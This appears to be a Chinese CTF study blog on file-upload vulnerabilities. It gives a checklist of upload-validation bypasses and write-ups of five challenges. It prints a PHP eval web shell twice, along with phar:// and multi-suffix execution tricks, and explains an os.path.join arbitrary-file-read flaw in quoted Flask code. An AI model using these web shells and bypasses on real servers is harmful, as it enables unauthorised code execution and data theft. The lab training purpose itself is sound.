解题思路:先看中间件,文件上传点(字典扫描,会员中心),绕过/验证(黑名单,白名单),解析漏洞,cms,编辑器,最新cve
文件上传漏洞一般危害高
先看中间件,看有没有已经公布的漏洞,找文件上传点,试它的验证模式(黑白名单,后缀名,文件类型(MIME),文件头(png等文件有固定文件头))
- 看能不能上传.htaccess文件,将其他类型的文件作为php执行,配合图片马
- 对应中间件,查看是否有解析漏洞(四种)
- ::$DATA会把之后的数据当成文件流处理,不会检测后缀名,且保持'::$DATA'之前的文件名;
- 查看是否有二次渲染,先上传再验证再二次上传,二次渲染配合条件竞争,在文件第一次上传后迅速访问第一次上传地址,让其不能进行后续重命名验证上传操作,实现木马后门的植入。
- 数据溢出:插入大量垃圾数据,绕过验证
- 符号变异:利用” ’ ;等符号如
"1.php
,"x"x.php
绕过验证上传。 - 数据截断:%00:x.php%00.jpg,将%00进行手工url编码
- 数据截断:换行,如"x.(换行)p(换行)h(换行)p”
- 重复数据:重复写filename数据
上传x.php,用重复数据迷惑验证,实际上filename仍是x.php
上传jpeg;x.php,绕过验证,/也可以作为一个条件绕过
- 可上传zip文件,phar伪协议对压缩的php进行读取
- os.path.join()函数存在绝对路径拼接漏洞,如
file_path = os.path.join(“var”, “lib”, filename)
,可访问任意文件 - burp加字典爆破绕过
[MoeCTF 2022]what are y0u uploading?
文件上传
有源码,感觉应该不会很难,是个白名单绕过
没经过代理,直接执行了
传一个jpg上去,这次抓到包了,在这上面改,好像就不用经过第一个验证了
这咋办,偷偷去看一眼wp
什么!!!是f1ag.php
结束
总结:一道很简单的题目,小心掉坑
[NISACTF 2022]bingdundun~
phar执行php压缩文件 文件上传 PHP伪协议 PHP
phar://
主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击
只能上传图片或压缩包格式
将内容为
<?php
phpinfo();
@eval($_POST['cmd']);
?>
的putin.php文件压缩成zip文件,上传。
用phar://伪协议访问上传的文件
能够执行,用蚁剑连接
得到flag
总结:遇到可上传压缩文件的文件上传题,可将php文件压缩后上传,用phar读取来执行后门
[UUCTF 2022 新生赛]ez_upload
文件上传,Apache HTTPD 多后缀解析漏洞
此漏洞与版本无关,是因为用户配置存在漏洞
访问之后连蚁剑进入后台
总结:看到中间件为apache的文件上传题可以试一下1.jpg.php的格式。
[NISACTF 2022]babyupload
标签:文件上传,Python,Flask
os.path.join()函数存在绝对路径拼接漏洞
得到一个python文件
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
将文件名改成/flag,访问返回网址后得到flag
原理:os.path.join()函数存在绝对路径拼接漏洞
os.path.join(path,*path)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当做组件拼接到基础路径之后。
然而,如果拼接的路径以/开头,那么包括基础路径在内的所有前缀路径将会被删除,该路径被视为绝对路径,造成任意文件读取漏洞。
如file_path = os.path.join(“var”, “lib”, filename)
如果攻击者传入的文件名参数为”/a/b/c.txt“,那么 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分,攻击者可以不使用“.”字符就读取到任何文件。
[WUSTCTF 2020]CV Maker
标签:文件上传,图片马
随便注册一个账号
进入此页面
找到上传点了
发现这样就行
在末尾写入
<?php
phpinfo();
@eval($_POST['cmd']);
?>
拖拉图片访问图片地址,发现php被执行
蚁剑连接
????!!!我flag呢?谁偷了
服了,原来phpinfo()里就有
ctrl+f查找flag
总结:简单的文件上传,让我找回了自信